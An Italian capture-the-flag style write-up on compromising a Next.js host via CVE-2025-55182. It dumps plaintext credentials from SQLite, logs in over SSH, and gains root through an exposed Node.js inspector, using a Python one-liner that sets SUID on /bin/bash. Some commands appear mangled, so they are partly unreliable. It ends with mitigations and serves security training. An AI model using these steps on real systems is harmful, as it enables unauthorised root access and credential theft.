
Writeup tecnico di penetration testing che dimostra lo sfruttamento di CVE-2025-55182 in Next.js, il furto di credenziali da SQLite e l'escalation dei privilegi tramite l'ispettore di Node.js per ottenere accesso root.
Questo writeup tecnico descrive il percorso di sfruttamento per compromettere un target che ospita un'applicazione web Next.js vulnerabile, ottenendo l'accesso iniziale tramite credenziali recuperate e sfruttando un inspector Node.js V8 locale configurato in modo errato per l'escalation dei privilegi a root.
Il target ospita un'applicazione web Next.js in esecuzione sulle porte HTTP/HTTPS standard (80/443). L'enumerazione standard delle directory e l'analisi manuale indicano che l'applicazione esegue una versione vulnerabile a CVE-2025-55182.
Per sfruttare la vulnerabilità, intercetta il traffico dell'applicazione utilizzando Burp Suite (o Burp Repeater) e inietta un payload di exploit appositamente predisposto mirato a CVE-2025-55182.
Dopo aver ottenuto l'esecuzione del codice e la lettura dei file locali tramite l'exploit, ispeziona la directory del codice sorgente dell'applicazione. Il file del database SQLite locale (database.db) si trova adiacente al codice sorgente principale dell'applicazione.
Interroga o esporta il contenuto del file del database per estrarre i record utente memorizzati.
Bash
sqlite3 database.db "SELECT * FROM users;"
Individua la password in chiaro associata all'utente SSH locale engineer.
Utilizza le credenziali recuperate per stabilire una sessione SSH con la macchina target:
Bash
ssh engineer@
Una volta autenticato, leggi la user flag situata nella home directory:
Bash
cat /home/engineer/user.txt
Verifica la presenza di servizi associati esclusivamente all'interfaccia di loopback locale (127.0.0.1) per identificare le superfici di attacco interne:
Bash
netstat -tulnp
Risultato: Un servizio Node.js interno è in ascolto attivo sulla porta locale 9229.
Le porte di debug V8 di Node.js richiedono un UUID di sessione univoco per la comunicazione WebSocket. Interroga l'endpoint di discovery locale utilizzando curl con l'aggiunta di /json:
Bash
curl -s http://127.0.0.1:9229/json
Output:
JSON
{ "webSocketDebuggerUrl": "ws://127.0.0.1:9229/46a680a0-1cf5-4af4-9ce6-474f77329639" }
Poiché il processo Node.js target viene eseguito con privilegi di root, puoi inviare un messaggio Runtime.evaluate del Chrome DevTools Protocol (CDP) tramite Python su WebSockets per impostare il bit SUID su /bin/bash:
Bash
python3 -c 'import websocket, json; ws = websocket.create_connection("ws://127.0.0.1:9229/"); ws.send(json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": "process.mainModule.require("child_process").execSync("chmod +s /bin/bash")"}})); print(ws.recv()); ws.close()'
Verifica che /bin/bash ora abbia i permessi SUID abilitati (-rwsr-sr-x), quindi invoca Bash preservando i privilegi:
Bash
ls -l /bin/bash bash -p
Naviga nella home directory dell'utente root per catturare la flag finale:
Bash
cd /root cat root.txt
La protezione degli ambienti da questi vettori richiede l'applicazione di patch alle applicazioni web vulnerabili a CVE note, la corretta restrizione dei permessi dei file del database e la garanzia che le porte di debug (come l'inspector Node.js sulla porta 9229) non vengano mai esposte o lasciate accessibili senza autenticazione negli ambienti di produzione.